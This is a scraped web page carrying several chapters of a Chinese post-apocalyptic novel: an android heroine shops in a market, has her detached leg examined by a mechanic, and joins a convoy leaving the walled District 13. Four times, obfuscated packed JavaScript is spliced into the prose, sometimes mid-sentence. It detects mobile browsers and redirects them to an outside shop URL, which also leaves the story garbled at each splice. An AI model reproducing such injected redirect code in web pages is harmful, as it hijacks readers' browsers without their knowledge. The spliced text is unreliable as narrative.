意外托了无窗设计的福,好再来的外墙上铺满随风鼓动的塑料广告布,鲜艳又显眼的广告布与广告布之间你挨着我我挨着你,半点不给外墙展露自我的机会。 往里进,好再来的内部挨挨挤挤地布置有多个档口。每个档口的布置极其简单粗暴,由三面板材加一张卷帘门围成。 卷帘门收起,表示开门,卷帘门拉下,就算关店。 和沈司奥没溜达很久,时却就觉出好再来的包容性,只要属于身上穿戴的,从头到脚,这儿都可以买到。 从一楼逛到二楼,除去日常服装,他们甚至还路过了能打耳洞的首饰店、买女装都男装的情趣内衣店,还有买一送一的寿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13080272|136769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衣店。 等等。 前两者勉强还能理解,最后一个怎么回事,做的活动还是买一送一?! 即便走远了,时却仍忍不住频频回头去看那家寿衣店。离谱的是,它的店名甚至直接高度抄袭好再来,叫好又来。 ——好又来寿衣店,听上去像个地狱笑话。 “回神,”沈司奥伸手在时却面前晃两下,“那个买一送一也可以不立刻提走赠品,支持在店里登记,等有需要了再来取。” ……更地狱了。 时却还想吐槽说这更奇怪了好吗,一对长相相似的中年男女走出好又来,她的注意力马上被抓过去。 他们之中,男人的右手上应存在小指的地方一片空荡,男人的左手被吊在胸前,却也没打石膏,就这么露在空气里,让人清晰可见其左小指肿成了鸡蛋大小的青紫色。 那左小指不光肿大,还随着男人的走步动作,如灌水了的气球般轻微晃荡,呈现出一种诡异的质地柔软感觉。它像是某种活着的、有呼吸的恶性肿瘤,随时随地有可能因内部液体的过于充盈而突然破裂,进而喷涌出其中的内容物。 在这男人旁边,女人腋下拄着双拐,穿着极其肥大,按理来说长度应该至其脚踝的裙子。 ……之所以是按理来说,是因为,那裙子被女人自己,迫不得已地掀起了部分。 那女人,她的左腿看上去是常干苦力活儿的人的腿,粗壮、结实,小腿肚上有明显的肌肉。然而,她的右腿并没有着地,反倒向后曲着翘起,右膝盖下方到右脚踝之间的部位,全都如男人的左小指那般臌胀着,活像一根肥大粗短的香肠。 二人神情麻木,相互搀扶着走过“本店寿衣长期买一送一”的横幅下方,往好再来的门口去。 时却停步,想起在流萤房间看过的小说。 “I型辐射病?” 沈司奥自然也看到那对男女,嗯了一声表示肯定。 “肿胀是I型辐射病常见的病症,”沈司奥道,“看样子他们都是患者,且为兄妹或姐弟,症状相近。男的那个运气还好,大概是小范围对称性发病的类型,这种类型的特征是一次只使患者的小范围体貌发生变异。” “他的右手小指,应该是不久前发病然后切掉了,现在又轮到左手小指。估计再不久,左手小指也该切了。” “只要还活着,他的身上就不断会有新的变异处出现,直到身体机能因被变异处牵连无法正常运转,直到他死亡为止。” 沈司奥略过了评价中年女人,但不难推测,对于病发部位更大的中年女人而言,她的境况只会更糟。 时却想起那篇小说中提及,女主那患有I型辐射病的父亲,是因短时间全身肿胀而死。这样想来,短时间的剧烈痛苦和长时间的折磨,真不知道抽到其中的哪一者才算更幸运些。 而且……明天就是31日。明天晚上24时,也就是1月1日0时,防护罩就要被关闭了。在这个时候买棺材的人,还打算离开十三区么? “死亡出现在成年人身边的频率很高,”沈司奥司空见惯道,“尤其在十三区这样并不繁荣的地方。这里的人很难避免接触死亡,所以也就不会去避讳它。” 直到那对中年男女走出好又来,消失在转角后,时却也没有接话。她想不到该怎么接话,只有语塞。 该如何谈论这种仿佛命中注定的、无法违抗的、顿刀子割肉般的死亡? 记忆中的那个上班族,即没有碰见过,也没有深思过这种死亡。 19. 人工智能 两人安静地上二楼,进了间即卖户外服装也卖战术服装的店。这店是其他档口的三倍大,用于充当侧墙的板材上钉有三个标本,从左往右依次是: 成年鸡大小的青蛙,张嘴露出其中尖长犬齿的兔子脑袋,吸盘足足为成年人巴掌大小的一段爬山虎。 时却在位于这三个标本下方的展示墙上取下一双袜子,感觉像误入了什么特摄片场。“……出去后,我们得应付这些玩意?” “也许。区外可能有变异猴群或狼群,唔,不知道有没有变异野猪或鳄鱼。” 时却心想不是吧,沈弟弟你要不要听听你在说什么。“区外的生态……这么丰富?” “忘掉你记忆中的生物链和生物分布规律,那些全作废了,”沈司奥熟门熟路地取了一个购物篮跨在右手臂上,“现在谁也说不清,哪些地方能冒出什么样的变异生物。比如说,看到墙上的兔子了吗?那叫猫兔,是变异兔子和变异猫的后代。” 时却在黑白灰三种颜色之间纠结几秒钟,为耐脏起见,忍痛丢入两双黑袜和一双灰袜。 “那我们的装备火力不够,”她郑重其事,“除非你打算让我冲上去肉搏,然后事发。” 她煞有其事地描述可能发生的场景——比如叫人看到她被野猪拱飞出去数米还能生龙活虎地爬起来,或是外露个噼里啪啦闪着火光的电线什么的。 沈司奥微微勾唇,露出被逗乐的表情。 时却趁机露出对老板专用乙方微笑:“所以能再多买点吗?” 与之相对应地,沈司奥挂着和老板拒绝加薪并画饼的神情拒绝,同时给出一个让人无法驳斥的理由:“我没钱了,毕竟养你很贵。” 时却:“……好的老板,知道了老板。” “别担心,”他转转手腕,“蝎子会提供随行者一定的火力支援。况且按照最新的区外地图,像蝎子这种大队伍,大概率只有群居动物会来侵扰,到时你混在攻击的队伍里摸摸鱼就行。” 时却则对他话中的一个新元素来了兴致:“区外地图?在哪里?我瞅瞅。” “现在看这个没意义。管理局会定时派人到区外巡逻,并记录位于区外并处在防护罩外的变异动植物,写明它们的信息,供因需离开防护罩的人使用。明天早上,新版的地图会在终端的地图导航里上线。我会买好再分享给你。” 沈司奥拿起双专用于试穿的军绿色的护腕,要去比自己的手腕。时却看一眼便知道那护腕小了,抽走那双护腕挂回去。 “这不行。” 她取下旁边一款灰色护腕的试用装丢过去。沈司奥往腕上一套,正好合适。他褪下试用护腕,拿对应的未拆封品丢入购物篮内。 他道:“说起这个,其实很多人会有走出防护罩的需求,这些人一般被称为猎人。他们主要狩猎变异动物和能活动的变异植物,或去挖只存在外形变异但不能动弹的变异植物,再带回区里,卖给对应的加工厂,比如食品厂之类的。” “食品厂要这些来干嘛?”时却想起那些食物包装,“我还以为那些吃的东西的原料是种植或养殖出来的。”怎么前身还是变异动植物本身? “部分是,部分不是,”沈司奥道,“变异动植物的价值涉及很多领域。除了被净化后加工为吃食,还可以作为原料,用于生产抵消辐射的物品。比如护身符之类的。” ……什么鬼,被辐射的物体反倒可以作为抵消辐射物品的原材料? 扯了几件看上去还过得去的上衣裤子,再薅下几件外套,时却拉沈司奥到由一块帘布遮挡围成的简陋试衣间,自己提着购物篮走到帘后。 她让沈司奥在外边等,叫他再说说与“被辐射物能变成防辐射物”相关的事情。 店内还有其他顾客,并不算很安静,比如距他们不远处就有对年轻情侣,其中的女生正向男生撒娇,摇着对方的胳膊说这里的衣服都好丑。 好在二人离得近,就一层帘子,她轻而易举能捕捉到沈司奥的声音。 “我和你说过,辐射是2024年的陨石雨带来的。次年,科学家研究出了能抵消大部分辐射,并驱赶变异动植物的大型装置,这个大型装置就是防护罩,对吧?” “对,我还记得。” 时却套上件长袖,活动胳膊,感到腋窝处不太舒服,摸了摸,发现是这件长袖肩部与袖管之间的连接处过小了,放松垂手时还好,一动作起来,肌肉块便把布料撑得紧紧的。遂脱下,换另一件。 窸窸窣窣间,沈司奥继续道: “实际上,我说的‘科学家’,是特指的一位科学家,而不是一个群体。护身符也是这个科学家在同一时期发明的。” “这位科学家,对这个世界做出的最大贡献是,提出了一套极为复杂的化学反应流程,其涉及许多反应变量,能将受辐射的物体转变为可抵消辐射的物体,再用该可抵消辐射的物体制成护身符和防护罩。就这样。” 时却只觉得他这番话过于精简。“再多说点相关的其他事情呗。”她道。 于是沈司奥继续道: “说来也有几分神秘色彩,那套反应流程不是那科学家研究出来的,而是他做梦梦到的。据本人说,那是个极为痛苦的梦,整套反应流程渐次浮现,如烧红的铁烙入他脑中。” “醒来后,他大汗淋漓,浑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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又之后,人们研究出了仿生物,仿生物身上的护身符不用说,也是在它们的计算下进行生产。另外,常见仿生物的诸如大脑芯片等核心部件,由于工艺复杂,多也由受它们控制的无人流水线生产。 “……差不多就是这样。” 待沈司奥讲完,时却刚好也决定结束试穿。 她将不合适的几件挑出来,拎着购物篮和沈司奥一同往结账处走,随口道:“流萤说盘古和女娲是辅助着护身符、防护罩和仿生物,但听你这么一说,这可不像辅助地位。” 掌控地位还差不多。 沈司奥推眼镜,笑了笑:“她也不算说错。她是按基础教育的教材讲的,总之那上面说的是辅助。” 20. 出发之前 离开好再来,沈司奥带时却径直回到安全屋,整理明天要带的东西。 在他的指挥下,时却捯饬出两个大背包,背包里装有压缩口粮、水、速合剂、野外用品、一些奇形怪状的零件与工具等等。其中不少是昨天采购的物资。 清点一番后,她惊讶于所带物资的份量之少。 “这些吃喝够我们十天的消耗?”虽说她不进食也可以,但总归会碰到需要做样子的场景。 “当然不够。” 沈司奥在客厅地板的老位置坐下,捡起零件继续拼装那只仿生德牧。 “没必要带够两人吃二十天的份,只会是累赘。蝎子会提供很多有偿服务,食物相关的也在其列。到时候还得麻烦你多打点猎物,去和蝎子换了。直接换食物,或是换便携净化装置的使用时长,都可以。” 他捧起德牧的狗头放到怀里,动作利索地往上插了根柔软的透明管子。 补充解释:“哦,便携净化装置就是,顾名思义,净化食物用的。它分最低净化档和最高净化档,最高净化档能将变异动植物的可食部位净化到四级品。” 时却心说四级品不是最低档的安全食品吗?问那最低净化挡呢,得到的答复是: “最低档啊,能保证至少你吃上十天半个月也不会死于辐射病。至于导致已有病程加快或诱导发病,看个人体质。” 听罢,时却本下意识要脱口而出一句“那谁敢吃”,想到今天于好再来碰到的那对中年兄妹,又觉得是自己想当然。 这个最低净化档,其存在本身就能说明某些问题。 她躺到沙发上,抓起个靠枕垫在头下,闭眼作假寐状,实则在脑中看起入伍新兵。 过去一两个小时左右,她睁眼,注意力转回现实。 原先只有个小小头的德牧“长”出了完整的身体,躺在地上闭着眼睛,腹部规律起伏,身下延伸出几根电线,接在工作台上。 “正好要录入声纹,”猫在工作台前的沈司奥看她一眼,“想叫什么名字?” 时却摆摆手表示无所谓,他取就行。 短暂的键盘敲击声后,沈司奥唤醒道:“番茄。” 看上去仅有三个月月龄的德牧睁开眼睛,快活地汪汪叫几声,尾巴悠然自得地甩起来,绕沈司奥不住转圈,边转圈边伸出湿漉漉的舌头舔他的脸。 沈司奥扶正被它蹭歪的眼镜,笑着去挠它的下巴。 时却站起伸懒腰,蹲下,作招来的手势。番茄拖着身下一堆电线,像枚小钢弹一样屁颠屁颠地冲到她怀里,呜呜叫着翻出柔软的肚皮。 被这可爱攻击打个正着,时却一点不客气,上手连rua好几下。 “番茄?” “嗷呜嗷呜~” “该做午餐了,然后我想到冰箱里有西红柿,所以……”沈司奥取几张纸巾擦去脸上的口水,“是你让我随便想的。” 单手抄起番茄压在沙发上,时却狂揉狗头,在番茄发出弱小可怜又无助的呜咽撒娇声中,心情很好地说:“我也没讲什么呀,对不对,小番茄?” 后面三个字是情不自禁夹起来,细声细气说的。 * 番茄毕竟只是个幌子,沈司奥说,没费心思给它安装可进食模块和相关的反应程序。 “也没有安装攻击程序,”他道,“总的来说就是个花架子,只能听懂简单指令。” 时却倒也理解。要是沈司奥随随便便能制造出带杀伤性的仿生物,他也用不着找人合作。 两人吃午饭时,番茄就乖巧地寻了个墙角趴下睡觉。饭后,他们研究起拆点时却身上的非标部位,给沈司奥研究的事情。 这是之前就商量好的。 客厅里,一长串清单被列在半空中。 沈司奥道:“看看心脏吧?设计你的人全然以人体构造为出发点,你的心脏承担着向全身泵送各种导液的功能,很容易出问题。” “会让我失去意识吗?” “我尽量让这种事情不发生。” “……不行,换个地方。”时却脱口而出。 是的,二人此前商议好了。是的,她也对沈司奥建立了初步的信任。 可事到临头,她发现,这信任还远没达到那条线——足以让她放心在他人面前失去意识的那条线。 “看来开颅检查电池也不行了,”沈司奥察言观色,看上去并不意外,“我猜你也不乐意被碰脑袋。” 时却下意识看了眼剩余电量,65%。 “再换一个。” “左眼或左腿,或左手,行吧?”沈司奥瞪她。 “可以。” 连着拒绝了两次,时却也有点心虚。 她侧坐到沙发上,背靠沙发边沿,双腿平放在沙发上,展露接入口,让沈司奥连上线,并同意视野中跳出的“关于是否允许左腿部件脱离”的询问,随即感到胯部一热,腰处传来自脚底指向头部的轻微的推力。 下一刻,她身体一轻,整只左腿像是被什么看不见的力量推动般,朝远离她的方向行进了一段距离;她的覆在腰和胯部之间的衣服布料有小块稍凹陷下去,深色的洇湿痕迹逐渐蔓延。 时却隔着布料去摸那处,那儿空无一物。她的这整只左腿脱离了身体。 诡异的是,分明是腿脱离了身体,她却还有触感,甚至有种自己仍可控制其的感觉。 “是我的错觉?”沈司奥靠近,“你的接入口读取速度总是很慢。” 时却无辜地回视,表示自己对此毫无知觉,然后在心里给自己的演技点赞。 谁分得清她和奥斯卡? 沈司奥也不过度纠结此事。他蹲下,伸手去握时却左腿的脚踝,掌下触及有温度的皮肤。 他将左腿拎到地板上平放好。 那条腿的断面处正好面向时却。它呈现出高度仿人体的肌肉和骨骼的结构,但仅限于结构,不包括颜色。 怎么说呢,“仅限于结构,不包括颜色”的意思是,这断面处的颜色并非呈红肌白骨的形态,而是较红白色而言更发暗,泛着明显的金属冷光。 除此之外,还有类似血的液体,泛着铁锈味,不停自这断面的边缘轮廓处缓缓淌出。淌了好一会,才慢慢凝止住。 “这条腿看着好奇怪,少了条腿的感觉也好奇怪。”时却懒洋洋地环抱一个靠枕,下巴垫在上面。 沈司奥随口应道:“可能是会有点。” 时却眯起眼睛,看他可能是出于什么规范检修步骤,用一种类似检验西瓜熟透了没有的手法,把自己的腿拍了个遍。 真拍那种,啪啪作响的,不带一丝暧昧感觉,简直和打安塞腰鼓没什么区别的那种。 看起来,沈司奥的确不知道她还保留有这条腿触感。 又一个这具身体的奇异之处。 既然如此,时却当然也不会闲着没事主动告知此事。 番茄好奇地跑过来嗅了嗅时却的下身,又摇着尾巴去找沈司奥,趴在他边上。 沈司奥在工作台上鼓捣几下,台面升起工具箱样式的凸起,还带翻盖。翻盖一开,凸起里尽是些他都能用得着的中大型拆装工具。 时却看他利索地干着活,瞧了几分钟,见他行云流水的,工具也很趁手,突然觉得不太对劲。 “等等,”她牙疼般小小地倒抽一口气,眯起眼睛,“你一早就计划好了看左腿,却故意从心脏问起?” 沈司奥满手脏污机油地抬头,平淡地投来一眼,评价:“反应得有点慢。” ……谈判技巧是吧,先提出对方明显不可能答应的条件,在对方因拒绝后产生愧疚心理,再提出真正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13127801|136769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的要求。 时却翻白眼,随手又抓了个小靠枕往他边上扔。 靠枕擦过无辜打盹的番茄的头顶,噗一声掉在一人一狗后头的地板上,引得番茄歪了歪小脑袋,发出疑惑的呜咽声。 * 沈司奥这一研究,直接进入着魔状态,整个人定定粘在时却那条拆下来的腿跟前,一言不发,陷入忘我。 内行看门道,时却这个外行则连热闹也看不出几分,只晓得自己的腿中途被拆成了好几块,沈司奥还从每大块中又分出不少奇形怪样的部件。 他每分离出一个部件,那仿真的血就要跑出来找存在感,多少流上点。基于此,不多时,客厅简直就被整出了个小型的分尸现场。 绝对过不了审的那种。 ……对时却而言,唯一的好消息大概是,她只在皮肤部分被触碰时有感觉,倒是没有什么“被切块”的痛楚。 她慢慢失去盯他的兴致,索性刻意忽略左腿上时不时传来的触感,沉浸到入伍新兵的世界里。 直到傍晚,沈司奥才放下手里的活。 “你的左腿有不少非标准件,奇怪的是,这些非标件都不太适合你的机体。” 他皱着眉,叮铃哐啷地往回装拆下来的零件。 时却对他已有几分了解,拍拍因压在靠枕上过久而有些发麻的脸,坐直身体:“别在脸上制造皱纹了,直说吧,又哪里出问题了。” “你越活动,它们磨损得越快,”沈司奥摘下眼镜,略显疲惫地揉揉鼻梁。 时却心里咯噔一下。“找机会换了不就好了?” 沈司奥神色复杂:“问题就在于,除了设计出你的制造师外,旁人要弄清你适合什么样的零件难度很大……这么说吧,即便你愿意接受多次丧失意识的大检查,长时间和大价钱都是不可避免需要付出的代价。” “讲讲后果,”时却说,“如果我就这么装着这些零件,或随便去找些换到身上,会怎样?” 沈司奥不太确定:“一般是战斗力下降,严重些的话,日常动作也许会不太协调。” “最严重的话,能不协调到什么程度?” “……左脚踩右脚,平地摔。” 脑补对应画面后,时却顿觉头大。 沈司奥将她的腿重新组装完毕后,回房间取了张毯子。 他左手拿毯子,右手用和拎锤子没两样的姿势提溜起那条腿,然后靠近时却。 沿途滴下一路血色。 “下次能铺几张塑料吗?”时却眼角抽搐,“你不觉得这有点像杀人现场?” “铺了不会更像?” 时却挠头想想,乐了。还真是,感觉像从激情动手变成了预谋杀人。 沈司奥也勾勾嘴角。 他俯身,先为时却的下.身盖上毯子,再为便于动作而跪在沙发前,左手伸进毯子之下,克制地用两根手指虚虚摸索到裤头附近,恰到好处地只扯下一点。 他触及到时却腰部与胯部之间的断口,手指贴着断口处,定位到几处卡扣点,最后右手送入时却的左腿。 随着同时响起的几声咔哒,离体的左腿与那几处卡扣点接合,时却视野内也同时浮现出相关提示,提醒她左腿部件重安装成功。 直起身子,沈司奥说要去给摩托换个后备箱,遂离开。时却趁他离开的档口穿好了裤子,坐到地板上逗番茄玩。 没一会,沈司奥进门,径直去开冰箱,拿出些食材摊在厨房台子上。 在水流撞击洗手台的声响中,时却懒洋洋地问他,要不要人帮忙打下手。 年轻的机械师偏头看过来,手上提着装米的饭锅内胆,镜片上沾有几颗细小水珠。 “那把肉切了。吃完饭,好好休息,明天还要早起。” 明天,他们就要离开十三区了。 21. 临行 次日清晨,时却掐着时间点热早餐——那是沈司奥前一晚特地多做的,托她提前帮忙热好。 坐在餐桌前盯着香气四溢的食物,时却突然想起,昨日傍晚二人有过的对话片段。 ……那是做饭过程中发生的,忘了是谁先开的头,导火索好像是递刨丝刀还是拿盐罐子的动作,总之他们顺势闲聊了一会。 沈司奥问时却她是否会做饭,时却说不会,没做过。 “以前自己住,”她下意识补充,“都随便对付的,水煮或者出去吃,要不就叫外卖。” 她留意到沈司奥听到自己的回答后,手上动作急不可查地停顿了一下,才反应过来自己这么说似乎有些奇怪。 也许对于沈司奥来说,这个回答充满了奇妙之处。 实际上,在那个瞬间,时却还真没想这么多。大概当时的场景太日常了,以至于她潜意识还觉得自己仍是记忆中那个平凡的苦逼上班族。 时间转回现在。没多久,沈司奥出了房间,二人平静地吃了饭。 餐后,时却洗了锅碗瓢盆,又把厨余装好袋,准备出门后扔掉。 这一串动作完成后,她又想起,昨晚收拾好东西后,还曾问过沈司奥,是否需要把屋子里该遮该盖的家具都罩起来。 “不需要,”沈司奥这么回答,“十三区的防护罩被关闭后,变异动植物很快会侵入区内部。这里很快就会被破坏。” 所以垃圾好像也是不用收拾的?算了,装都装了。 时却将垃圾放在玄关处,准备出门后,再最后按部就班做完“丢垃圾”这一多少带有城市文明气质的动作。 数分钟后,二人各背一个大越野包,出了安全屋的门。 时却走在前头,带番茄下了几步台阶。身后传来钥匙插进锁孔里的声音,然后是反锁门的响动。 她回头。 沈司奥面朝防盗门站着,脸上显出有些怔松的神色,手上握着的门钥匙,还插在锁孔里没拔出来。 时却了然。看来有点切换不过来的人,不只是她。 “昨晚没睡好,下意识……”沈司奥攥着门钥匙喃喃道。他赶上时却,让她打开手里提的垃圾袋,把门钥匙丢进去。 “不留着?” “防护罩的重建不是小工程,十三区会被从人类的居住地名单上除名数年,”沈司奥道,“即便有朝一日防护罩再建完成,也需要将十三区夷为平地,再重建。即便重建,我也不会回来了。总之,这把钥匙没用了。” 时却不太理解,抓抓头。在她看来,钥匙这种有象征意味的物品,没用是一回事,当个念想是另一回事。 仿佛看出她的想法,沈司奥说:“我没有留念想的爱好,尽快把失去的东西忘得一干二净,反而能活得更舒坦。” 到底也是他个人的事情,时却没再说什么。 外头晴空万里,是个适合远行的天气。 到楼底时,时却短暂地和沈司奥分开,去丢垃圾。回来时,沈司奥跨在装了新后备箱的摩托上等她。那新后备箱,看着正适合番茄的体型。 番茄吐着舌头蹲在旁边。时却一把捞起它,在沈司奥的指挥下将它放到后备箱里。 箱盖闭合前,小小的德牧用湿漉漉的鼻尖蹭了蹭时却的手,乖巧地在后备箱中盘成一团,喉咙中发出亲昵的呜咽声,闭上眼睛,安详地作入睡状。 嗡一声,摩托启动。 二人在几不可见人烟的街道上行驶,从一团又一团未散去的晨雾中穿行而过,在衣角变得明显湿漉漉前,到达位于十三区边界地带的一个广场。 沈司奥在这座广场的一头停车。有许多人聚在此处。时却下车,视线自然而然被广场的另一头攫住。 那儿立着一块长方体界碑。界碑上有三个模糊不清的大字,大字底下还有三排小字。 时却眯眯眼睛,大字立时变得清晰可辨,那是用红色颜料写着的“十三区”。小字她却实在看不清楚了。 出于好奇,和沈司奥打过招呼后,她往界碑所在方向走了一段路,这才看明白。 那两排小字中的第一排是: “此处为防护罩边界” 第二排是: “我们总会回到自己的家园” 第三排是: “本区已重建次数:1。上次重建时间:2072年” 距离界碑再远处,是一片平原,明显经过人工清理,光秃秃的,只露出赤裸的土地,颇有几分被“坚壁清野”了的意味。在平原的边缘,显眼地存在着一抹生机盎然的绿色,远看着像是片森林。 时却猜测,“坚壁清野”的部分,大抵是管理局制造出来的,用于观测界碑附近的情况。 不然这么多人,总不可能管理局远程遥控,在某个实体罩子上开口,然后一个人一个人地放出去吧? 她望着界碑发了会呆,转头去和沈司奥会合。不多时,广场上的人越来越多,渐渐嘈杂。 沈司奥说,蝎子的大部队还没出来,他们还需要再等会。 闲着也是闲着,时却从携带的越野背包里翻出副墨镜卡在头上,又问沈司奥要不要帮他拿他那副。 时却自己那副属于前天购买的物资之一,而沈司奥那副则是他的旧物。在包中翻找时,时却无意撇见其包装,不知为何,上面印有大大的“特制”二字。兴许是带近视度数的意思。 后者犹豫一下,说还是算了,自己戴上墨镜反应会比较慢。 这话听着有点古怪,不过时却也没在意。她倚着摩托,观察周遭。 广场上都是三五成群的小团体,鲜见落单者。初步看下来,这些小团体大致可以分成三类:一看就不太能打的,好像能打一点的,还挺能打的,数量依次递增。 想想也正常,毕竟蝎子筛过。 “没法和蝎子走的人,有多少能到十二区?”她问。 沈司奥正在全息投影出的屏幕上点点点,闻言道:“可能……四分之一到三分之一?” 时却惊诧于这个比例比她想的要高不少。 见状,沈司奥进一步解释:“蝎子不会带他们同行,但也不会阻止他们晚于蝎子出发。还记得蝎子带我们这些人的要求吗?” “你是说狩猎……”时却恍然大悟,“不和大部队出发会被更多的变异动植物骚扰,可由于蝎子边前进边扫荡,那些人活着到达十二区的几率反而增加了。” 沈司奥肯定她的说法,又道:“此外,十三区里还有诸如警局之类的官方组织留着,它们在防护罩失效的一两个小时前才会撤离。那些人还可以跟在这些官方组织的后头走。” “虽说根据法律规定, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13161865|136769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路上即便出事也得不到这些官方组织的救助,不过从恫吓某些胆小变异动植物的角度上讲,多少会有些帮助。” 他这话说的理所当然,带出一个新常识:官方力量在防护罩内才会行使自身职能。 至于防护罩外么——生死自理。 沈司奥在身前屏幕上滑动手指,调出一份地图,图中部是一个跳动的红点,红点所在位置被标记为“十三区”,周侧围绕着十二区、十四区等其他人类聚居地。 他点选了一些选项,地图以十三区为中心放大,变为更加详细的三维地形示意。 时却看到,十三区外围有大片森林,一眼便知是人为开拓的大路和小路弯弯绕绕,如无序生长的藤蔓的般铺设其中,蜿蜒穿行。 一个提示框跳出来,写着: “您已成功购买两份最新版本的十三区区外地图,感谢使用——管理局。” 沈司奥继续操作,将一份区外地图分享到时却的终端上。时却鼓捣一会,初步调试好了,将这份地图设置为自己方便使用的样式。 在她的地图上,共有两块区域,一块是地图本体区域,一块是侧边栏,侧边栏的顶部是两列下拉选项。 在地图本体区域里,标记着十三区的地点上漂浮着防护罩失效的倒计时。 在下拉选项中,一列下拉里有“变异动物”、“变异植物”两种选项,另一列下拉里则是等信息类选项。 点选“变异动物”和“简介”,地图进一步提示让她划定范围。 “考虑到战斗和休整时间,”沈司奥提示道,“我们大概一天能走个……一百公里吧。” 想了想,时却将范围定在五十公里内。 侧边栏中刷新出多个信息气泡,同时,地图本体区域内对应生出若干半透明的指示线;这些指示线的一端位于地图本体区域内指示位置,另一端指向侧边栏中的对应信息气泡。 时却选了一个写着“变异狼”的气泡点进去。 一个书页状的特效弹出,她翻看几页,关于变异狼的外貌特征、生活习性、狩猎建议、经济价值等均列于其上,最新的更新时间是昨晚。 “变异狼,多群居,好攻击同为成群……”她随口念出其中一句,大致看完,翻到最后的“经济价值”页。其上,狼的各个器官部位都有对应的回收价。 最显眼的是整匹狼尸体的价钱,官方回收价大概在1000~10000之间,最高价和最低价之间差别极大。 “是看尸体的完整程度,以及它的生前情况。”沈司奥解释道。 时却正准备说些什么回应,神色一动,脚下轻碾地面,感到一些细微而独特的震动。 她收敛心神,闭眼侧耳,尽可能滤去周遭嘈杂,果不其然听到多个车队行进时会发出的独特动静。它们分别从身侧若干靠近区内的方向传来。 十几秒后,更多人察觉到这响动,偌大的广场一时安静不少。 “蝎子的人来了。”沈司奥道。 滋滋——! 一道刺耳的电流声响后,数个信号弹从不同方向被发射,瞬息后便依次炸开,在半空中显出颜色各异的蝎子图样。 那些图样停留在蔚蓝得如同幕布般的晴天里,不见半点消散趋势,显然成为了显眼的集合旗帜。 好大的阵仗。 22. 声音 时却数了数,蝎子图样共计五种颜色:黑、灰、紫、蓝、粉。 几息后,有四架无人机腾空,飞到灰蝎、紫蝎、蓝蝎、粉蝎下方,往地面投影出上小下大的锥形光柱。 沈司奥依次点过这些颜色:“黑灰紫蓝粉,这五个颜色分别指的是‘自己人’、‘家属’、‘凭武力通过筛选跟队的人’、‘凭交易通过筛选跟队的人’、‘解压好去处的人’。” 仿佛为印证他说的话,一个被喇叭放大而显得失真的声音随即叫道:“在场的人手里都有一张卡,看看自己手里卡的颜色,卡挂胸前,十分钟内去对应颜色的标志下集合。” 时却耳尖地听出那是壁虎的声音。 人潮动起来。 说是到对应标志下集合,不过蝎子的人是一块到的,因此代表黑蝎的图样下很快就乌压压站好了队列,看上去几乎全是训练有素的青壮年。 而代表“家属”的灰蝎紧挨在黑蝎旁,组成成分就复杂多了,男女老幼皆有,其中有的人在观察“外人”,不过更多的则是朝黑蝎下观望,期望在队伍中找到自己的亲朋好友。 时却和沈司奥顺着人流来到紫蝎下方,那儿站着几个胸前挂着黑色蝎卡,手持黑色扫码枪样机器的人,以及他们的“老熟人”蜥蜴。 蜥蜴一身迷彩服,双手交叉抱胸站立。她见到他们,懒洋洋举起一只手,打了个招呼。 她的头顶是停留在紫蝎下方的无人机,无人机在地面上投影出网格形状的紫色矩阵,每个网格中还标识有行列号。 她的身侧漂浮着约一米乘两米的长方形全息投影,白底红字,上书:“请按卡上指示排队”。 时却还记得她和沈司奥的卡片上分别是“12行1列、12行2列”。 刚才倚车的人是时却,因此这会推车的也是她。她推着摩托和沈司奥站定后,发现脚下“12行1列”的网格智能地扩大,刚好变为将她和摩托围在其内的形状。 两人站定后,好巧不巧地,正就在蜥蜴跟前。 沈司奥唤出全息屏幕和键盘,低头不知忙起什么。时却的终端里自然没什么好鼓捣的东西,只得眼珠子乱转,继续看看这看看那。 紫蝎边上是蓝蝎,即‘凭交易通过筛选跟队的人’。这部分人不多也不少,歪七扭八地站着。 他们中开了体积较大的越野车或小货车的,统一被要求将车停在后方,人则老老实实地在前头排队。 那伙人里,时却一眼瞧见老金。他正吞云吐雾,开着辆被允许位于队伍中的带边座摩托,边座里缩着之前在店里见过的I代仿生人。那铁皮家伙怀里抱着个硕大的背包,估计就是老金此行的重要家当。 除老金外,她还看到了几个在黑街打过交道的商人。总体上,蓝蝎队伍中的人精神状态也不错。 过了蓝蝎是粉蝎。 